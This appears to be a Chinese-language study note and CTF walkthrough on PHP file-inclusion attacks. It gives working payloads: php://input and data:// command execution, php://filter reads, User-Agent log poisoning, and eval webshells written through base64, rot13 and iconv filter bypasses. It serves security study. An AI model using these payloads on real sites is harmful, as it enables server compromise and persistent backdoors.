Web学习42

  1. 知识点
  2. 案例
    1. 前置知识-原理&分类&探针&利用&修复
    2. CTF应用-CTFSHOW-78关卡到117关卡
      1. 78
      2. 79
      3. 80
      4. 81
      5. 82-86 session包含
      6. 87
      7. 88
      8. 117
    3. CMS源码-XHCMS-代码审计&日志&绕过
  3. 思维导图

知识点

1、解释-什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等

核心知识:
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法-见下文

<!–#include file=”1.asp” –>
<!–#include file=”top.aspx” –>
<c:import url=”http://thief.one/1.jsp">
<jsp:include page=”head.jsp”/>
<%@ include file=”head.jsp”/>
<?php include(“test.php”)?>

3、各类脚本语言包含协议玩法
php伪协议:https://www.cnblogs.com/endust/p/11804767.html

思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

案例

前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过

前置知识-原理&分类&探针&利用&修复

$file=$_GET['x'];

include($file);
//实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
//1.每个需要过滤的地方,进行一次过滤的编写
//2.每个需要过滤的地方,进行一次文件包含调用过滤函数

//1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
//2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
//3.配合会话文件进行getshell

CTF应用-CTFSHOW-78关卡到117关卡

78

相关文章:https://segmentfault.com/a/1190000018991087
file协议需要知道文件的具体路径才可以使用

方法一:

利用php协议的input并在post传输控制语句执行

那么可以利用命令执行<?php system(‘ls’); ?>,查看当前目录的文件,发现存在flag

<?php system(‘tac flag.php’); ?>成功得到flag

方法二:

/?file=php://filter/read=convert.base64-encode/resource=flag.php得到base64数据流,再解密即可得到flag

方法三:

data协议
data://text/plain,<?php system(‘tac flag.php’); ?>

方法四:
远程包含

在自己的服务器上写下命令,然后再在题目界面访问自己服务器写下的内容

总结:
本地包含和远程包含具体形成原因由代码和环境配置文件决定

79

这一关过滤了php协议

方法一:
远程包含还是可以直接秒掉

方法二:
data协议
payload: ?file=data://text/plain,<?=system(“tac flag.*”);?>

这里要注意避免使用’php’这个字符,因为会被过滤,所以flag.php要用flag.*来替代

80

这关过滤了data和php,并且禁用了远程包含,外部不让访问了。

file zip等需要路径,但这题路径未知
Nginx默认日志路径:/var/log/nginx/access.log

尝试在UA头写入后门代码

<?php system(‘ls’); ?>先看一下有哪些文件

文件被改成了fl0g.php

访问fl0g.php,再重新打开日志文件,就可以看到flag

81

这题过滤了php,data,冒号,还是可以用日志包含的方法秒

82-86 session包含

文件包含:
本地包含:LFI local file include
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?

文件包含的三个利用点:
1、可以通过文件上传获取,上传的文件在服务器上
2、没有文件上传,借助日志写入(UA),session文件 写入
3、伪协议没有上传文件也能进行php代码执行

87

过滤php,data,冒号,点

方法一:利用base64

利用两次url编码绕过,因为它这里使用了urldecode的函数会进行一次解码,而且浏览器也会自动进行一次解码

payload:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=<?php @eval($_POST[a]);?>(后门代码进行base64编码)

这个在没有base的后门代码前面还要加上aa,这样在进行base编码的时候正好是27个字节,后面就不会出现=好使得在浏览器解析的时候出现歧义。

方法二:利用rot13
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz(‘gnp s*.cuc’);?>

88

这题过滤了很多符号,所以在使用base编码的时候也要注意不能出现这些符号

payload: <?php system(‘tac *.php’);echo 123;?>ad

这样base64后既没有+号,也没有=号,这样就不会被过滤

117

唯独没有过滤php的协议

使用到一种新的php算法
convert.iconv:一种过滤器,和使用iconv()函数处理流数据有等同作用

反转源代码
<?php
$result=iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pevela$(P_SO[T]a;)>?

CMS源码-XHCMS-代码审计&日志&绕过

长度限制绕过,低版本才可以用这个漏洞,高版本没用

思维导图